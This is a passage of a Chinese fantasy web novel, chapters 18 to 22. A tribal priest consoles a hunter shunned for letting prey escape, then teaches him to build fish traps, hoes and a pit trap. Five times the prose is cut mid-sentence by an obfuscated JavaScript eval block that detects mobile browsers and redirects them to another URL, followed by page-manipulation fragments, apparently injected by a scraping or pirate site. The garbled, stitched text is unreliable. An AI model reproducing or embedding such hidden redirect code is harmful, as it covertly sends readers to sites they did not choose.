红云朗老实点头,“有时候不小心踩到石头,或是那些长着尖刺的植物,多多少少都会带点伤。不过早就习惯了,我们兽人皮糙肉厚,这点小伤不碍事。” 皮糙肉厚可还行,差点把花时安想说的话堵嘴里。 该说还是得说,花时安指着脚上棕鞋,与不给面子兽人硬解释:“穿棕鞋是为了保护脚。脚不直接接触地面,小一点的尖锐物就会被鞋子阻隔,这样脚就不容易受伤。采集队大部分都是亚兽人,他们脚底板可没你的脚底板厚。” 没有初见棕裙那种惊喜,兽人眉头越拧越紧,梗着脖子反驳:“可是祭司大人,脚是我们身体除了手以外,最灵活的部位,我们能在森林里寻找食物,追寻猎物,全靠一双脚。” “你说保护脚我能听懂,但用这种棕鞋把脚包裹起来,我们的速度就慢了呀。还能上树摘果子,还能追得上猎物吗?” 花时安本想说可以脱,可转念一想,在森林里碰到猎物先解鞋带脱鞋,再拎着鞋子追猎物……猎物都跑没影了吧? 能流传到现代社会的东西,那都是老祖宗严选,必然有它的妙用。 作为一个穿鞋穿习惯的现代人,花时安需要鞋子,但对于每天上山爬树的采集队,对于靠双脚追赶猎物的狩猎队来说,目前只适合走路的棕鞋1.0确实有点鸡肋。 思及于此,花时安黯然垂下了眼眸。 兽人还未离开,他刚想开口说话,前方安静的空地忽然传来一阵嘈杂的人声。 一群人围在一块,闹哄哄一团。 花时安抬头仔细一看,原来是狩猎队回来了。 那么多人围在一起,难道又抓到猎物了?花时安和红云朗对视一眼,十分默契地抬脚朝空地走去。 “冷静冷静,你冷静一点!勇,红勇!” “算了勇哥,你消消气。” 愤怒的兽人宛如雄狮发狂,三个人连拉带拽都无法将他完全摁住。 已然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409137|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被愤怒冲昏了头脑,兽人脖颈暴起青筋,脸涨得紫红,剧烈颤抖的嘴唇中发出震耳欲聋的嘶吼:“不生气?我怎么能不生气?” “本来都抓到了,本来今晚都能吃上肉了,就是因为他,把到手的猎物放跑了!干啥啥不行,关键时候掉链子,这种废物他凭什么在狩猎队,放开我,我非得揍他一顿!” 红勇后槽牙都快咬碎了,如铁锤般的拳头挥舞在半空中,如果不是族人阻拦,他定要冲上去将罪魁祸首暴揍一顿。 越来越多的族人围上前劝架,匆匆赶到的花时安被人墙阻隔在外,只闻其声不见其人,只知道在吵架,又不知道在跟谁吵。 “差不多行了,冷静一点。” 木族长的声音从人群中飘出来:“猎物跑都跑了,你揍他也无济于事,顿吧顿不吃肉也没事儿,猎物嘛,这回跑了下回再抓就行。” “不能就这么算了!”兽人勇歇斯底里。 木族长:“那你说怎么办?难不成让他现在去抓猎物?” “用不着他,以后狩猎队有他没我,有我没他!这种猎物到手都还能放跑的废物兽人,我们狩猎队不要他,把他逐出狩猎队!” 当和事佬不易,木族长叹气:“成,依你。” “放跑了猎物让大家都白忙活,必须罚他三天不吃晚饭!”红勇不依不饶:“还有,下次还犯这种连累其他人的错误,自己拎着东西滚蛋,滚出部落!” 好家伙,放跑猎物跟犯了天条似的,有这么严重吗? 花时安听了个七七八八,在心里吐槽。 不过他不打算多管闲事,部落有部落的规矩,红勇也并非不明事理之人,能让他发这么大脾气,那兽人指定—— “对、对不起勇,对不起族长,我真的、真的不是故意的。以后我会小心的,让我留在狩猎队吧,再给我一次机会……” 沙哑哽咽的嗓音格外耳熟,花时安有一瞬间的愣神,旋即钻进人群往前面挤了一点。 没有听错,犯错被红勇训斥的兽人,正是莫淮山。 高大的兽人孤立无援,耷拉着脑袋站在人群中。他像个无助的小孩,身体微微颤抖,双手不安地攥着裙角,眼中满是惶恐无助。 似乎不单是训斥,他左脸通红,高高肿起,早就被结结实实地揍了一拳。 19. 第 19 章 “好大好大一只绿鬣蜥,比上次抓到那只还要大一圈,肉绝对多!可惜啊,我们都把它打伤了,差一点点就抓到了,都怪那……哎!” 夜色浓稠,树枝与腐木肆意燃烧,点亮昏暗的营地。 嚼着板栗的兽人绘声绘色,与围坐在火堆旁的族人讲述狩猎队今天在森林里的遭遇。说到最后的结果,他低下了头,留下一声无奈而怅然的叹息。 气氛略显凝重,剥栗子壳的脆响回荡在沉闷压抑的营地。 岩知乐实在摁不住好奇心,咽下嘴里的果泥,多问了一句:“那到底是怎么放跑的?不是说被打伤了吗?” “哎!”兽人又叹了口气,顺手将剥好的板栗丢进嘴里,边吃边说:“是这样的。被石头打伤它就不动了,我们把它堵在了斜坡底下。那斜坡比较陡,它受了伤爬不上去,我们只需要围成一堵人墙,慢慢靠过去,把它摁住就行了。” “勇哥说了很多遍,动作一定要轻,要小心靠近,因为猎物就算是受了伤,再受到惊吓也可能会突然跑掉的。你们是不知道,差一点,差一点我就摸到它了,可这个时候,莫淮山不知道在干嘛,他摔了,摔倒了!” “看他个头大,勇哥让他站在中间最重要的位置。结果他这一摔弄出老大动静不说,还把人墙给弄散了,那绿鬣蜥受到惊吓直接就从他倒下的地方跑了,追都追不上!” 兽人握拳捶了捶胸口,“不行了不行了,越说越气。” “摔一跤就把猎物摔没了啊?”岩知乐遗憾地摇摇头,“好可惜,今天差点就能吃上肉了。” 弥足珍贵的猎物被一跤摔没了,其他人心里也有怨气。 听兽人说明缘由,积攒已久的怨气终于找到了出口,犹如汹涌肆虐的洪水,一股脑地涌了出来。 “山也太没用了吧,走路都能摔跤。” “就是,亏他还是兽人,路都走不稳。” “他是不祥之人,不被兽神庇护的人,所以走路才会摔跤。咱们以后可得离他远点,别跟着他一块倒霉。” “这么吓人吗?他昨天还跟我说话了!怎么办啊?” “那狩猎队最近没抓到猎物会不会也是因为他?” “照这么说真有可能,他让狩猎队变倒霉了!” …… 一句不祥之人便能将过错无限放大,亦能抹去之前对部落的贡献。听着族人对莫淮山的嫌弃与斥责,花时安心里涌出一股说不清道不明的滋味。 这饭吃不了一点,花时安拿着竹筒和没吃完的板栗起身,招呼也没打一声,远离火光笼罩的营地,转身融入黑暗中。 没有特意寻找,花时安径直走向歪脖子树,透过朦胧的夜色依稀看到自家大树时,他也看到了独自坐在草地上,与黑暗融为一体的身影。 不弱小,很大只,但还是很可怜。 花时安脚步微顿,不自觉地转了个弯,走向柔软的草地。 大块头兽人蜷坐在地,脑袋低垂,双臂紧紧环抱着自己的膝盖。 完全沉浸在自己的世界中,花时安坐在身旁他都没有发现,直到冒着热气的板栗递到面前,他终于动了,诧异地转头看向花时安。 像一台年久失修的老式机器,动一下又卡住了。花时安把手往上抬了点,扬起嘴角朝他笑了笑,轻声道:“在森林里跑了一天,不吃东西不行,多少吃点垫垫肚子。” 食物就在面前,饥饿的兽人却看都没有看一眼。 他微微泛红的眸子直直盯着花时安,喉咙上下滚动,过了许久才艰难挤出几个音节:“祭、祭司大人。” “嗓子都哑了,多久没喝水了?”花时安把装着野菜的竹筒也递了过去,“里面还有一半野菜汤,不嫌弃的话,喝点?” 不知道是不是花时安的错觉,话音刚落,兽人本就红红的眼眶变得更红了,肩膀还有些颤抖。 他刚想说话,莫淮山摇了摇头,低哑的嗓音再度响起:“不、不了祭司大人,你的晚饭,你吃。我做错了事,该饿肚子。” “做错了什么事情?”花时安明知故问。 莫淮山老老实实回答:“放跑了猎物。” “你是故意的?” “当、当然不是。” 花时安耸了耸肩膀,“那不就得了。每个人都有缺点,每个人都难免会有犯错的时候。不要太过自责,知错就改嘛。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409138|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是的,不一样。”莫淮山失落垂眸,如自言自语般喃喃:“我犯的不是小错,我在部落最需要肉的时候放跑了猎物,不会、不会有兽人犯这种错的。” 花时安挑了下眉,饶有兴致地问:“哦?你们红松部落以前每次出门就能抓到猎物?从来不会失手?” “那倒也、也不是。” 莫淮山支支吾吾:“追不上猎物正常,但没有人会像我一样蠢,因为摔跤放跑了就快到手的猎物。我、我真的很没用,我、我也不知道到底是怎么了,会在那时候摔跤……” 兽人越说越自责,低头将脸埋进手掌中,肩膀不停颤抖。 不会哭了吧? 花时安将竹筒和板栗一并放在地上,伸手拍了拍他的后背,“没看见不代表没有,我、我们花栗鼠部落的族长以前也平地摔跤啊。不能因为一件事否定自己,我们是人,要允许自己犯错,下次遇到这种事小心一点就是了。” “没有下次了,我被赶出狩猎队了。” 他声音颤抖着,模糊而低哑,带着明显的哭腔。 花时安无意识皱了下眉,轻言细语地安抚:“一会儿我去找红勇说说,让他再给你一次机会。我可是部落的祭司,他也许会听我的。” “不、不用了。” 兽人缓缓抬起头,侧着脸抹眼睛,不让花时安看到他的脸,吸了吸鼻子道:“兴许离开狩猎队是对的,祭司大人还不清楚吧,其实、其实我是不祥之人,靠近我会变得不——” “莫淮山,拿出你改名字的勇气来。谁都可以这样说,但你,绝对不能这么想。”花时安打断他的话,轻柔的语气瞬间冷了下来,好似冬日凛冽的寒风。 兽人像是被吓到了,忘了眼泪还没抹干净,倏地转头面向花时安。 晚风拂面而过,眼眶里打转的泪水被风吹散了,英俊的兽人脸颊高高肿起,既滑稽又狼狈,瞧着让人不是滋味。 花时安明眸稍弯,朝他笑了笑,又变回刚才温柔的模样,“祥与不祥在一念之间,觉得自己是幸运的,那你便是幸运之人。如果自己都承认不祥,即便是假的,也会变成真的。” “不要放弃自己,绝对不要。” 20. 第 20 章 “祭、祭司大人……” 风吹过草地,“沙沙”的白噪声将话音覆盖。 莫淮山呆呆看着花时安,被泪水濡湿的睫毛下,深邃的眸子愈发明亮,划过一道蕴藏着希望,微不可察的光芒。 花时安倒是听见了,拿着几颗板栗剥壳,抬胳膊撞了他一下,“别祭司大人了,刚刚说的话你听进去没?听懂了没?” 莫淮山点点头,“好像懂了。你的意思是,别人怎么说不重要,只要我自己不承认,我就不是不祥之人。” “对咯。”花时安心里舒坦多了,顺手将剥好壳的板栗递给他,“诺,听懂了就先吃东西,填饱肚子才有力气振作起来。” 莫淮山还是不接,眼巴巴地望着花时安,“可是祭司大人,不怪族人说我,我有时候感觉,我、我真的很不祥。” “比如呢?”花时安问。 莫淮山眼眸微垂,掰着手指头说:“我、我的兽形很奇怪,长得很丑陋,很吓人。阿母不喜欢我,出生不久她就走了,一句话都没有留下。” “后来、后来阿父死掉了,得了怪病突然死的。同样也是那年,莫山部落没了……一件两件事可能是碰巧,但每次遇到不幸的事情都有我。” 什么乱七八糟的,花时安揉了揉眉心。 “咱就说有没有一种可能,兽形奇怪是因为你阿父阿母的兽形不一样,你遗传了他们两个的基因,所以和别人不一样。你阿母不喜欢你是她的事儿,你阿父死掉是他身体不好,部落就更和你没关系了,那时候你还是个小孩,怎么影响部落?” “换个角度想呢,人这一生没有一帆风顺,总会遇到磨难和坎坷。就算没有你,该发生一样发生,你阿母想走还是要走,阿父生病照样会死……” 瞧着懵懵懂懂,一脸落寞的兽人,花时安又补充了一句,“话不能光听别人讲,有时候自己也想一想?逃难那晚是你把我救回来的,可以说没有你就没有我,没有我就没有如今的部落。” 这话虽然说得有点大言不惭,但安慰人很奏效。 盘旋在头顶上的“乌云”渐渐散了,兽人揉了揉泛红的眼眶,咧着嘴巴扯出一个笑,“我、我懂了祭司大人,谢谢,谢谢你。不过那天晚上救你,真的只是顺——” “不管你顺手还是顺路,救了就是救了。”花时安掰开他的手,不容拒绝地将板栗放在对方宽厚的掌心,“先吃东西。” “这、这是你的食物,我不能吃。”莫淮山赶忙还给他。 兽人脸皮薄,受罚不愿连累花时安,死活不肯吃他的食物。花时安和他拉扯了两个来回,最后敌不过他的力气,板栗又回到了自己手中。 没办法,花时安攥着板栗叹了口气,故作不悦地低下了头,“我以为我们有着过命的交情,早就是朋友了。结果你到现在还这般生分地叫我祭司大人,也不愿意吃我的食物。” 不知如何应对,莫淮山愣了,张了张嘴又没发出声音。 不等他解释,花时安继续道:“你讨厌我,不想和我做朋友对吧?搬石锅那天我就看出来了,和你说话也是爱搭不理的,算了,以后我们——” “不是,不是这样的,”莫淮山肉眼可见地慌了,着急忙慌地摆手,语无伦次地解释:“那时候我还没有想明白,觉得自己不祥,怕连累你。刚好族长又说让我不要靠你太近,所以……我真的没有讨厌你,祭司大人你别这样说。” 担心花时安不信,莫淮山又从他手中将几颗板栗拿了回去,忙地塞进嘴巴里,“吃板栗,我吃,吃你的食物。” 目的成功达到了,花时安扑哧笑出了声,“吃我也要说,谁让你还叫祭司大人。” “那……”兽人知道该怎么叫,支支吾吾开不了口。 花时安:“朋友要亲近一点,叫时安。” “时、时……” “怎么?我的名字烫嘴啊?” “没,没有。”莫淮山深吸一口气,看着花时安漂亮的眼睛,仿佛诉念神明尊名,极为虔诚地念出两个字:“时安。” “这才对嘛!来喝点汤,声音都哑成什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409139|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样了。” 花时安再度将装着野菜的竹筒递了过去,这一次莫淮山没有拒绝,生怕花时安又不高兴似的,端着竹筒便往嘴边送。 野菜汤尚有余温,温暖着饥饿的胃,温暖着逐渐冰冷的心。兽人专注望着花时安的侧脸,眼眶莫名又湿润了,被风吹凉的耳朵染上了一抹绯色。 为数不多的食物分着吃完,营地那边的火光渐渐暗了下来,最后消失不见,整片森林皆被浓稠的黑暗包裹。 时间不早了,花时安也有点困了,等莫淮山拿着洗干净的竹筒走回来,他拍拍草裙站起身,跟着问了一句:“现在你自己想明白了,但今天放走猎物,大家心里有怨,之后怎么打算的,有什么想法吗?” “有,”莫淮山点点头,抬头望向空无一人的营地,低声喃喃:“明天再去找勇说一说,我、我还是想回狩猎队。以后少犯错,多出力,多抓点猎物,他们应该就不会生气了。” 花时安又问:“如果勇不让你回去呢?” 应该想到过这一点,莫淮山微微抿唇,没什么底气道:“那、那我就自己去抓,多抓几次猎物回来,让大家消消气,也能证明我、我不是没用的兽人。” 有想法但不多,狩猎队一群人都抓不到猎物,他一个人就能抓到了?花时安不忍泼冷水,犹豫片刻,委婉地建议:“我最近一个人有些忙不过来,要不你跟着我干活儿?” 莫淮山略显迟疑,“留在部落煮盐编背篓?可我是兽人。只有胆小的兽人才会安稳待在部落里,有用的兽人应该去森林,为族人带回美味可口的猎物。” 还挺轴,花时安笑了声,“一定要抓猎物才能证明自己有用吗?那也行,我带你去抓猎物。” “你、你带我抓猎物?”莫淮山惊了,连连摆手,“不不不,不行,猎物只会出没在森林深处,很危险的,你不能去。” “谁说只有森林有猎物,”花时安下巴一抬,指着前方水位逐渐下降的小河,神秘兮兮道:“悄悄告诉你,那水里也是有猎物,也是有肉吃的。” 21. 第 21 章 朦胧的夜雾散去,天边泛起鱼肚白,沉寂的森林才刚刚开始苏醒,顶着两个黑眼圈的花时安已经和莫淮山各扛着一捆青皮竹,踩过挂着露水的杂草,气喘吁吁地钻出竹林。 脸没洗口没漱,饭也没吃,起了个大早出门砍竹子,就是为了避开狩猎队。兽人们怨气比鬼还重,要是遇上再被嘲讽几句,人糙心细的莫淮山指不定多难过。 部落竹条还多,兽人今天不会来砍竹子。 而天又快亮了,狩猎队和采集队应该都快出门了,这时候回去正好合适,落得清静。 千算万算,唯独算漏了一点。 两人钻出竹林还没走多远,一阵凌乱的脚步声从前方传来。花时安感觉不妙抬头一看,煮盐队的巨明、长远森拿着竹筒棕片,狩猎队的四个兽人抬着石锅迎面走来。 难怪都说冤家路窄,花时安无奈地揉了下眉心。 “哟。” 抬着石锅的兽人脚步匆匆,却又在看到莫淮山时,不约而同地停下了步伐。 走在最前面的兽人白了莫淮山两眼,张口就来,阴阳怪气地嘲讽:“我说一早上怎么没看见人,原来跑祭司大人这献殷勤来了。怎么,害了狩猎队不够,还想害我们祭司大人?” “害人精老老实实待在树洞啊,别跑出来祸害别人。” “听到没,跟你说话呢傻大个!” 是真没打算放过他,兽人们的嘴巴跟淬了毒的刀子一样,说话十分难听。 面对族人的指责,莫淮山羞愧地低下头。他的脸瞬间失去血色,一下子变得惨白,嘴唇微微颤抖,“对、对不起,我、我真的不是故意放跑猎物的。” “一句不是故意的就完了?”兽人情绪愈发激动,指着莫淮山的鼻子骂:“知不知道多少天才遇到一只猎物?差一点就抓到了,差一点大家就能吃上肉了!都是因为你,你这个祸害!” 另一个兽人冷声附和:“你不是故意的,却害得我们在部落抬不起头。空着手这么多天,好不容易才遇到的猎物……哎,你让我们脸往哪搁啊?” “我、我……” 莫淮山脑袋越来越低,不敢直视族人的眼睛,颤抖的声音却逐渐坚定:“是我的错,是我犯错连累大家,但我不是祸害,我、我会证明的,跟着祭司大人就是为了学——” “咳咳。” 花时安轻咳两声,将兽人没说完的话堵在了嘴巴里。 而他刚准备开口,另一个兽人不依不饶,扯着大嗓门道:“证明?你已经证明了傻大个,昨天摔那一跤不就是最好的证明吗?证明你是个废物,你是个——” “好了!” 耐心总有用完的时候,花时安抬头看着挡住去路的兽人,眉头微皱,略显严肃道:“是,他犯了错。可说也说了,骂也骂了,打也挨了,歉也道了,还要怎么着?” 兽人被花时安吼愣了,过了几秒才回过神,委屈巴巴地噘着嘴,小声嘀咕:“犯错了说几句都不行?祭司大人你别太偏心啊。” 偏心吗?好像是有点。 看着一脸委屈的兽人,花时安忽地笑了,心平气和道:“没有说不行,犯了错该说得说,该骂得骂,但差不多就行了。难道犯一次错就要被戳着脊梁骨说一辈子?大家都是人,谁能保证自己永远不犯错?” “谁会捅这种娄子啊。”兽人巨启风嘀咕道。 花时安眼眸微抬,视线越过其他人,看着巨启风道:“巨启风对吧,我记住你了。你以后最好是别犯错,不然指着你的脑袋说个三天三夜。” 巨启风头顶一凉,赶忙认怂:“祭司大人我,我我就随口一说。” “时间不早了,赶紧把石锅抬过去,狩猎队还等着你们呢。把骂人的劲儿拿到森林里折腾去,说不定今天运气好,又能碰到猎物。” 说完,花时安抬头朝挡住去路的兽人们扬了扬下巴,勾唇一笑,“今天淮山不去森林,遇到猎物可千万别放跑了,不然没有人可以怪哦。” 责怪不应该变成宣泄,兽人那些话还是太过火了。 阴阳怪气嘛,巧了,他也会。 告别兽人继续往回走,莫淮山的情绪始终不高。昨晚重新鼓起的勇气好似燃尽,他埋头走路一声不吭,恨不得将脑袋埋进泥土里。 这样下去怎么行,花时安拖着竹竿加快步伐,与兽人并肩前行,刻意清了清嗓子,“耳旁风吹过去就算了,别不高兴,打起精神来,一会儿劈竹子编鱼笼还得靠你。” “没,没有不高兴,”莫淮山抬起胳膊蹭了蹭额头,抿着嘴唇看了花时安一眼,“我只是不明白,刚刚你好像故意不让我把话说完。时安,你不想让他们知道我在和你学捕猎吗?” 刚刚?花时安想起来了,坦然点点头道:“嗯,是故意的。没有十足把握的事情不要提前说,知道你想证明自己,但比起直接告诉他们,到时候拎着猎物更有说服力。” 事以密成,语以泄败。 成功了还好,莫淮山也能证明自己,可失败了呢?“祭司”的加持都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409140|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让他成功,不祥之人的名头将会彻底坐实。 届时遭受的嘲讽、谩骂……不敢想象。 * 回部落洗漱,吃完早饭,花时安带着莫淮山忙碌起来。 不光带着兽人干活儿,还要教会兽人如何制作工具,所以花时安没有选择分工合作,而是拎着砍刀和莫淮山一同在歪脖子树下劈竹子。 两捆竹子陆续劈成竹条,气儿都不带歇一下的,花时安马不停蹄地拿起竹条,手把手地教莫淮山编织鱼笼。 虽然总说自己笨,但莫淮山的学习能力并不差,压着竹条熟练地编织,速度和花时安不相上下。当然,也可能是鱼笼和背篓的编织方法差不多,一回生二回熟。 只用了半个上午,四个上窄下宽的鱼笼编好了。 花时安吹了吹被竹篾划伤的手指头,拎着其中一个鱼笼走到阳光下,眼底闪过一丝不加掩饰的嫌弃。 光顾着追求速度,鱼笼编得相当粗糙。竹篾与竹篾间的缝隙之大,有的地方都能塞进两根手指头,而底部篾条又有些错位,歪歪扭扭,一点儿也不美观。 不过鱼笼又不背身上,只管往水里放,美不美观不重要。第一次尝试就能编个八九不离十,花时安已经心满意足了。 阳光明媚,微风正好,鱼笼放回歪脖子树下,花时安和莫淮山又拎着石刀钻进附近灌木丛,砍了两根长而笔直,幼儿小臂粗的桉树回来。 桉树又名剥皮树,树皮特别好处理。用石刀在树皮上竖着划一道口,再沿着刀口往两边撕,就跟剥虾壳似的,轻轻松松剥下树皮。 砍去树冠,剔除多余树枝,估摸着所需要的长度,花时安让莫淮山帮忙砍掉两端树节,保留中间光滑平整的树干。 一只手刚好能握住,光滑不硌手,很完美的锄柄。 花时安试着挥舞了几下,将其与鱼笼一同放在树脚下,旋即叫上莫淮山,匆匆跑到河边找石头。 河边石头一抓一大把,奈何花时安要求高。 他想找现成的石头来做锄头,这就意味着——石头要硬,不能太厚也不能太薄,还得一头宽一头窄,窄的那头要刚好能卡进锄柄,宽的那头最好还比较锋利。 要求实在太高了,两人在河边翻翻找找,累得够呛,直到中午才找到几块勉强能用的石头。 磨石头、凿锄柄、绑锄头…… 两人以最快的速度做了两把锄头出来,在艳阳高照的正午,背上背篓扛着锄头,拎着奇形怪状的鱼笼走向河流上游。 22. 第 22 章 山洪过去了一段时日,小河里湍急的水流渐渐平静,浑浊的河水经过时间沉淀,一天比一天清澈,水位也在持续下降。 部落的位置应该在河流中下游,水还是比较深,那会儿找石头莫淮山下水试了一下,刚好没过大腿。 而上游就不一样了,踩着柔软的草地,沿着蜿蜒的河流往上走,河水越来越浅,大概一个多小时后,波光粼粼的小河变成了一条清澈见底的溪流。 目测水位不超过小腿,水流也不急,这个位置就很合适。花时安站在岸边观察了一会儿,扭头朝莫淮山晃了晃手里的鱼笼,“这位置不错,走,咱们在这儿下两个。” “下两个?我们不是有四个吗?”莫淮山低头看了眼自己手中的鱼笼,不解地问道。 踩着碎石走下斜坡,来到潺潺流淌的溪流旁,花时安顺手将鱼笼放在地上,弯腰脱掉棕鞋,抬头看向背着背篓朝他走来的莫淮山,“哪能在一棵树上吊死,要是这片没鱼,岂不是白忙活了?待会儿再往上面走走,另外两个下在别的地方。” “哦哦,原来是这样。”莫淮山似懂非懂地点点头,取下肩上装着锄头的背篓,拎着两个鱼笼跃跃欲试,“那,那我们的鱼笼下在哪?告诉我怎么放就行,你不用下水,凉。” 像溪流不代表真的是溪流,水浅了,河面依旧很宽,一个人不知道要折腾多久。 像是没听见莫淮山的话,花时安将棕鞋放进背篓里,提了下腰间松松垮垮的草裙,果断抬腿迈入河水中。 初秋的河水不算太凉,刚入水能感觉到一点凉意,有点不适应,但在水里踩上一阵,别说,还挺舒服。 花时安玩上了,踩着光滑的鹅卵石,踩得水花四溅,过了一会儿才想起岸边的莫淮山,忙地和他招招手,“把鱼笼放下快过来,水一点都不凉。” 年轻亚兽人在水中嬉戏,好似春日茁壮成长的小树苗,生机勃勃,充满活力。 莫淮山望着河流怔怔出神,嘴角高高扬起。根本没听清花时安说的什么,看到阳光下明媚而张扬的笑脸,他的双腿不受控制地迈了出去。 “鱼笼,鱼笼先放着!”花时安再度提醒。 “哦哦,好。” 莫淮山恍然回过神,有些懊恼地拍了下额头。 河面很宽,想让鱼儿乖乖钻进鱼笼,必须先将其他路堵死。河流中随处可见的鹅卵石便是最好的材料,花时安和莫淮山在水中来回穿梭,用大块石头在河中间筑起一道“堤坝”。 “堤坝”左右两侧各留出一个缺口,花时安让莫淮山拿来鱼笼,往鱼笼里丢了几块沉甸甸的大石头,完事儿再用石头将鱼笼顶部压住,牢牢固定在缺口处。 石头与石头之间并非严丝合缝,大部分水依旧可以顺利流通,且上游水流相对平缓,不会轻易将他们搭建的“堤坝”冲垮,更不会把鱼笼卷跑。 鱼笼编织的不算密集,过滤水的同时,小一点的鱼类也会从缝隙中钻出去,从而留下个头大的鱼,或别的美味水生物。 刚才搬石头还抓到几只个头极小的螃蟹,吃不了,丢了又可惜,花时安索性用石头将它们砸碎,连壳带肉丢进鱼笼充当诱饵。 能做的都做了,能不能抓到鱼……要看点运气。 洗手洗脚,花时安坐在岸边穿棕鞋,紧跟上岸的莫淮山拎着背篓来到身旁,握着他们先前做好的锄头,忐忑不安地问道:“祭司大、时安,这水里真的有鱼可以吃吗?” 一声不吭埋头苦干,事后才想起来问这个。 花时安系好鞋带,抬头对上兽人惶惶不安的视线,低低笑了一声:“现在问这个不觉得晚了?昨天晚上怎么不问?” “你、你说的我都信。”莫淮山抿了抿嘴唇道。 花时安挑了下眉,“哦?现在为什么不信了?” 莫淮山忙地摆摆手,支支吾吾道:“没有,没有不信,我只是……” 生态不同,晴空森林有水无鱼,部落兽人从未见过水生物。尽管刚才亲眼见到了螃蟹,但那玩意儿个头太小,跟个虫子似的,实在不像能吃的样子。 兽人目前处境尴尬,急着证明自己,但抓鱼这种事…… 看着茫然无措的兽人,花时安犹豫了一下,如实相告:“水里确实有鱼,我之前洗澡看到过鱼跃出水面,个头还不小,只是那时水流湍急,加上抓鱼麻烦,一直没有行动。” “但有鱼不代表一定能抓到鱼,就像你们在森林里抓猎物一样,我们是第一次尝试,不知道准备得够不够充分,也还要看点运气。” “我知道了时安,”莫淮山视线停留在花时安微蹙的眉头,使劲点头,“有鱼就好,总能抓到的。你不要太担心了,这次抓不到也没关系,还有下次,下下次。” 这是在反过来安慰他?花时安扬了扬下巴,反问他:“抓不到鱼就不能证明自己,你不着急?” 莫淮山摸着后脑勺,嘿嘿一笑,“不着急了,我、我想明白了。族人对我的态度不是一只猎物就能改变的,日子还长,我先跟着时安多学点东西,总有一天能证明自己。” “能这么想真是太好了。”花时安由衷地笑了,麻利地从地上爬起来,拎着鱼笼吭哧吭哧地往坡上爬,“走了,抓紧找个地儿把这两个鱼笼放下去。” “锄、锄头好像没有派上用场,是一会儿收鱼笼的时候用吗?”莫淮山拎着背篓跟上花时安,看着一直没用的锄头背篓,忍不住问了一句。 花时安:“鱼笼今天收不了,先放一夜看看,明天早上再来收。至于锄头,放完鱼笼带你去森林挖陷阱。” 没有询问陷阱是什么,莫淮山眉头一皱,神情严肃道:“时安,我们昨晚不是说好了吗?森林危险,先不去森林。” “是吗?”花时安装傻充愣,“我记得你说的是森林深处危险吧?没事儿,咱们不深入森林,就在边边上做陷阱。” “哦,那什么是陷阱啊?” “嗯……猎物踩到就会陷进去的坑!” 沿着河流又走出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409141|168805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段距离,花时安重新挑选了一个位置,和莫淮山以同样的方法将另外两个鱼笼安放在河流中,紧接着两人横穿小河,钻进河岸对面的森林。 挖陷阱是为了捕猎,不是为了整人。狩猎队天天在森林里来回打转,不怕一万就怕万一,保险起见,陷阱还是挖在河对面比较好。 巨树森林太大了,部落那一片都还没探索完,小河另一面压根没人来过,目之所及皆是比人还高的灌木,非常利于花时安发挥。 想着森林里的动物也会去河边找水喝,花时安没有违背承诺深入森林,直接就近找了一片平坦的灌木丛,一人一把锄头——开挖! 忙碌而又充实的一天,高悬苍穹的太阳缓缓向西方落下,花时安的指根磨出第二个水泡时,一个与背篓一样大,两米多深的大泥坑终于挖好了。 